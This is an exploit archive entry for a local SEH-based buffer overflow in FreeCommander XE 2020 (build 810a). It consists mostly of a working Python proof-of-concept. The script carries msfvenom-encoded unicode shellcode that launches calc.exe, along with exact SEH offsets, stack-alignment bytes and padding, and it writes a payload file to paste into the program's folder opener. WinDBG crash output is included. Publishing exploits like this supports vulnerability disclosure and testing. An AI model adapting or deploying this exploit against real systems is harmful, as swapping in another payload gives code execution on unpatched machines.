FreeCommander XE 2020 Pathname Buffer Overflow

2020.03.29
Credit: Hodorsec
Risk: High
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-119

#!/usr/bin/python # Exploit Title: FreeCommander XE 2020 - Pathname Buffer Overflow (SEH) # Version: Build 810a 32-bit # Software Link: https://freecommander.com/downloads/FreeCommanderXE-32-public_setup.zip # Date: 2020-03-28 # Exploit Author: Hodorsec (hodor@hodorsec.com / hodorsec@protonmail.com) # Vendor Homepage: https://www.freecommander.com # Tested on: Win8.1 x64 - Build 9600 # Description: # - Exploits the command / folder opener in the main window by entering an overly string and pressing enter: a crash will occur and the Structured Exception Handler kicks in (SEH overflown). # - Some stack alignment was required, which eventually led to the ability of running shellcode. # Reproduction: # - Use indicated OS or manipulate settings for stack alignment: your mileage may vary due to different offsets on other Windows versions / SP's. # - Run the script, a TXT file will be generated # - On the Windows machine, open the TXT file in Wordpad. Copy and paste the output in the command / folder opener of FreeCommander # - Check results # WinDBG initial crash output: # (db4.648): Access violation - code c0000005 (!!! second chance !!!) # *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\SYSTEM32\ntdll.dll - # *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files (x86)\FreeCommander XE\FreeCommander.exe - # eax=00000000 ebx=00000000 ecx=00410041 edx=77e8ffaf esi=00000000 edi=00000000 # eip=00410041 esp=00091620 ebp=00091640 iopl=0 nv up ei pl zr na pe nc # cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 # FreeCommander+0x10041: # 00410041 0064005c add byte ptr [eax+eax+5Ch],ah ds:002b:0000005c=?? import sys, struct # Filename filename = "win8_freecommander_poc.txt" # Maximum length maxlen = 2000 # Shellcode # msfvenom -p windows/exec cmd=calc.exe -e x86/unicode_mixed -b "\x00\x0a\x0d" bufferregister=eax # Payload size: 512 bytes shellcode = ( "PPYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBYlzHTBypkPm0aP2ixep190bDTKnpP0bk0RJl4Kobn44KbRKxjoFW0Jo6p1KODlml1Q3LlBNLKpy1XOLMm1UwgrzR1Br7tKobzp2k0JmlDKNlJq2XySPHzaHQR1bkaImPIqWc2k0In8jCmjMyRknT2kzaZ6maIo4leq6ozmm1i7NX7pPul6JccMzXmk3MKtSEhdnxTKb8ldza6srFBklLPKbkqHMLKQhSbkM4dKIqVp1ymtmTldokokQQaIoj21yoK01OOoPZDKzrxkDM1MaZZa4M55UbM0ipkPr0S8nQRkROu7KOWeukHpTuFB1F2HvFBuWMuMio6umlM6CLZjQpIk7pRUlEWKa7mCsBrO1ZypR3ioxU0cS12LosnNpet80eM0AA" ) # Offsets seh = 522 nseh = seh - 2 # Venetian NOP nop = "\x45" # Aligning EBP with buffer # ESP being closest to buffer # ESP = 0018ecc4, Buffer = 0018fb5f: Buffer - ESP = 0x0e9b align_esp = ( "\x54" # PUSH ESP + nop + # Padding "\x58" # POP EAX + nop + # Padding "\x05\x11\x11" # "\x05\x00\x10\x00\x11" # 0500100011 add eax,0x11001000 --\ + nop + # Padding |--> Adds 0x0f00 bytes "\x2d\x02\x11" # "\x2d\x00\x01\x00\x11" # 2d00010011 sub eax,0x11000100 --/ + nop + # Padding "\x40" # INC EAX # Added due to one-off unicode byte + nop + # Padding "\x50" # PUSH EAX + nop + # Padding "\xc3" # RET ) # Prefix prefix = "A" * seh # Fill junk # NSEH/SEH nseh = "\x41\x45" # NOP --> INC ECX # ADD [EBP], AL seh = "\x71\x4c" # POP POP RET # Suffix suffix = nop * 3 # Align suffix += align_esp # Align registers; EAX for executing shellcode suffix += nop * 48 # Nopping until buffer suffix += shellcode # Do some magic suffix += "D" * (maxlen - len(prefix + nseh + seh + suffix)) # Fill junk # Concatenate string for payload payload = prefix + nseh + seh + suffix # Put it all together try: file = open(filename,"wb") file.write(payload) file.close() print "[+] File " + filename + " with size of " + str(len(payload)) + " created successfully" except: print "[!] Error creating file!" sys.exit(0)


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